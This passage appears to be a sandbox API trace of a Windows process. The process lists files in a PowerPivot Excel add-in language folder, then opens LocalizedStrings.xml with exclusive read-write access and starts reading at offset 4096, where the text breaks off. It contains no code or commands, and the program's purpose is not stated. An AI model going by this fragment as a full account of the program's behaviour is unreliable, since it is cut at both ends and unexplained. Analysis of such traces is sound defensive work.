ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa13ab7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20d030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0235.568] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0235.568] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf44563cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf44563cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44c8b33, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x22aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0235.569] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2fa0ca2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2fa0ca2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2fed144, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0235.569] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45f9db0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45f9db0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4d050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0235.569] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45d3b76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45f9db0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0235.569] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6aee686, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6aee686, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0235.569] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56f7a52, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56f7a52, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56f7a52, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0235.569] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99462e6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99462e6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9992797, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1baa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0235.569] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa853100, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa853100, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x75040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0235.570] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf311d3eb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf311d3eb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf311d3eb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0235.570] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc51578a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc51578a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0235.570] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf71003, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xfe368d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4640, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0235.570] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x48f5cfa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x48f5cfa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x48f5cfa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0235.570] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ac3289, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ac3289, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0235.570] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0235.570] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0235.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0235.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0235.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0235.571] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg", lpFilePart=0x0) returned 0x51 [0235.571] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a6e0 [0235.572] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.572] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x165b9401, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1639, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0235.572] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d76e38, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d76e38, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d76e38, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0235.573] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd09866, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd09866, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0235.573] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6781ff8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6781ff8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0235.573] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9c75fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9c75fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa13ab7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20d030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0235.573] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0235.573] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf44563cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf44563cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44c8b33, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x22aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0235.573] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2fa0ca2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2fa0ca2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2fed144, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0235.574] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45f9db0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45f9db0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4d050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0235.574] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45d3b76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45f9db0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0235.574] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6aee686, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6aee686, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0235.574] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56f7a52, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56f7a52, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56f7a52, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0235.574] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99462e6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99462e6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9992797, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1baa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0235.574] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa853100, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa853100, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x75040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0235.575] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf311d3eb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf311d3eb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf311d3eb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0235.575] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc51578a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc51578a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0235.575] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf71003, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xfe368d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4640, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0235.575] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x48f5cfa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x48f5cfa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x48f5cfa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0235.575] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ac3289, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ac3289, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0235.576] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ac3289, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ac3289, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0235.576] FindClose (in: hFindFile=0x134a6e0 | out: hFindFile=0x134a6e0) returned 1 [0235.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0235.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0235.576] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0235.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0235.577] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\bg\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x3a049d0 | out: lpFileInformation=0x3a049d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x165b9401, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1639)) returned 1 [0235.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0236.201] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0236.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0236.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\bg\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0236.243] GetFileType (hFile=0x860) returned 0x1 [0236.243] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0236.243] GetFileType (hFile=0x860) returned 0x1 [0236.243] SetFilePointer (in: hFile=0x860, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0236.243] ReadFile (in: hFile=0x860, lpBuffer=0x3dbd0e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: 